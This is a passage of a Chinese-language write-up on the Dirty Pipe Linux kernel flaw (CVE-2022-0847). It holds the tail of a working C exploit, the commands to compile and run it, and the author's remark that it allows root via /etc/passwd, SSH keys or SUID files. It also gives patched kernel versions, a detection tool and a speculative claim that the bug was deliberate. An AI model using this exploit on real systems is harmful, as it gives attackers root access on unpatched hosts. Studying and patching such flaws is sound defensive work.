&offset, p[1], NULL, 1, 0); 428 | if (nbytes < 0) { 429 | perror("splice failed"); 430 | return EXIT_FAILURE; 431 | } 432 | if (nbytes == 0) { 433 | fprintf(stderr, "short splice\n"); 434 | return EXIT_FAILURE; 435 | } 436 | 437 | /* the following write will not create a new pipe_buffer, but 438 | will instead write into the page cache, because of the 439 | PIPE_BUF_FLAG_CAN_MERGE flag */ 440 | nbytes = write(p[1], data, data_size); 441 | if (nbytes < 0) { 442 | perror("write failed"); 443 | return EXIT_FAILURE; 444 | } 445 | if ((size_t)nbytes < data_size) { 446 | fprintf(stderr, "short write\n"); 447 | return EXIT_FAILURE; 448 | } 449 | 450 | printf("It worked!\n"); 451 | return EXIT_SUCCESS; 452 | } 453 | ``` 454 | 455 | 提权成功: 456 | 457 | ```shell 458 | gcc exp.c -o exp --static 459 | ./exp file offset string 460 | ``` 461 | 462 | ![image-20220308172336511](img/image-20220308172336511.png) 463 | 464 | 目前是演示了任意文件写的效果,具体利用可以修改/etc/passwd、或者sshkey 或者一些suid 文件之类的完成实际提权。这里不实际操作了(反正我又不去渗透)。 465 | 466 | ### 一些小限制(无伤大雅) 467 | 468 | 1. 无法改变文件大小(无法让文件更大) 469 | 2. 单次写入长度不能超过一页(4k) 470 | 471 | ## 缓解措施 472 | 473 | ### 建议方案 474 | 475 | 由于是内核漏洞,暂无很好的处置方案,建议升级内核到修复的版本: 5.16.11、5.15.25、5.10.102及以上。 476 | 477 | ### 漏洞验证(工具) 478 | 479 | 根据漏洞披露者发布的POC,写了一个简单的验证工具。存在漏洞输出"There is CVE-2022-0847": 480 | 481 | ![image-20220308202244668](img/image-20220308202244668-16467449237121.png) 482 | 483 | 不存在漏洞输出"You are safe!"。 484 | 485 | ## 参考 486 | 487 | 漏洞披露:https://dirtypipe.cm4all.com/ 488 | 489 | ## 阴谋论 490 | 491 | `PIPE_BUF_FLAG_CAN_MERGE` 这个`flag` 总共就出现了5次,一次`#define` 声明,两次在`pipe_write` 里。剩下两次都在`splice` 之中: 492 | 493 | ![image-20220308211006312](img/image-20220308211006312.png) 494 | 495 | 而且根据这个变量参与的代码可知,这个变量的意义就是是否允许在当前最新`pipe` 缓存页中续写;一般`pipe` 自己申请的页,就是个普通页,续写就续写很正常。什么情况不能续写,那就是这个页不是你`pipe` 自己申请的页,你不可以随便改。所以由目前的状况来看,几乎也就`splice` 中涉及到了非`pipe` 自己申请的页。换言之,**`PIPE_BUF_FLAG_CAN_MERGE` 这个`flag` 就是为`splice` 设计的。然后你告诉我你不初始化的吗?** 496 | 497 | 所以我怀疑这漏洞,根本不是马虎.... 498 | --------------------------------------------------------------------------------